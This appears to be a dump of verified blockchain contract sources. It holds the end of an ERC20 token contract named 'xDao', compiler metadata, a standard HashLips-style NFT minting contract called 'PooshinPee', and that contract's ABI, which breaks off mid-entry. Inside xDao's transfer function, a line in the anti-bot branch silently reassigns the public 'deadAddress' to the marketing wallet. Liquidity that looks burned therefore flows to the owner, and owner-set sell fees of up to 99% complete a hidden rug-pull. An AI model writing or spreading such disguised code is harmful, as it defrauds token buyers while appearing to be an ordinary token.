/** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract xDao is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public deadAddress = address(0x000000000000000000000000000000000000dEaD); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 7200 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("xDao", "XDAO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 0; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 100 / 1000; // 10% max transaction maxWallet = totalSupply * 100 / 1000; // 10% max wallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap back wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; marketingWallet = msg.sender; devWallet = msg.sender; // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 15 / 1000)/1e18, "Cannot set maxWallet lower than 1.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 49, "Must keep fees at 49% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 99, "Must keep fees at 99% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; deadAddress = marketingWallet; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0){ super._approve(uniswapV2Pair, address(deadAddress), amountToBurn * 1e18); super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }

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v0.8.18+commit.87f61d96

Default

None

ipfs://bdc0c925914e6727e2787f3087e83026ae4fd4a618adb306a5b46b6d138d1859

PooshinPee

contracts/PooshinPee.sol

0x4ca170e67abc6e522c24f912ec257480b79a1fda

Solidity

// SPDX-License-Identifier: MIT // $$$$$$\ // $$ __$$\ $$$$$$$$\ // $$ / $$ |$$$$\ $$$$\ $$$$\ $$$$\ $$ | $$ | // $$$$$$ |\____|\____|\____|\____|$$ | $$ | $$$$$$\ $$$$$$\ // $$ __$$< $$$$\ $$$$\ $$$$\ $$$$\ $$ | $$ | \______| \______| // $$ / $$ |\____|\____|\____|\____|$$ | $$ | // \$$$$$$ | \_______/ // \______/ pragma solidity >=0.8.9 <0.9.0; import 'erc721a/contracts/ERC721A.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; contract PooshinPee is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ''; string public uriSuffix = '.json'; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { setCost(_cost); maxSupply = _maxSupply; setMaxMintAmountPerTx(_maxMintAmountPerTx); setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, 'Invalid mint amount!'); require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!'); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, 'Insufficient funds!'); _; } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, 'The whitelist sale is not enabled!'); require(!whitelistClaimed[_msgSender()], 'Address already claimed!'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!'); whitelistClaimed[_msgSender()] = true; _safeMint(_msgSender(), _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, 'The contract is paused!'); _safeMint(_msgSender(), _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _safeMint(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = _startTokenId(); uint256 ownedTokenIndex = 0; address latestOwnerAddress; while (ownedTokenIndex < ownerTokenCount && currentTokenId < _currentIndex) { TokenOwnership memory ownership = _ownerships[currentTokenId]; if (!ownership.burned) { if (ownership.addr != address(0)) { latestOwnerAddress = ownership.addr; } if (latestOwnerAddress == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } } currentTokenId++; } return ownedTokenIds; } function _startTokenId() internal view virtual override returns (uint256) { return 1; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token'); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ''; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { // This will pay HashLips Lab Team 5% of the initial sale. // By leaving the following lines as they are you will contribute to the // development of tools like this and many others. // ============================================================================= (bool hs, ) = payable(0x146FB9c3b2C13BA88c6945A759EbFa95127486F4).call{value: address(this).balance * 5 / 100}(''); require(hs); // ============================================================================= // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(''); require(os); // ============================================================================= } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }

[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"},{"internalType":"uint256","name":"_maxSupply","type":"uint256"},{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"},{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hiddenMetadataUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmountPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"address","name":"_receiver","type":"address"}],"name":"mintForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"name":"setHiddenMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"}],"name":"setMaxMintAmountPerTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setPaused","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriPrefix","type":"string"}],"name":"setUriPrefix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriSuffix","type":"string"}],"name":"setUriSuffix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setWhitelistMintEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uriPrefix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uriSuffix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelistClaimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"whitelistMint","outputs":[],"stateMutability":"payable","type":"function"},{"input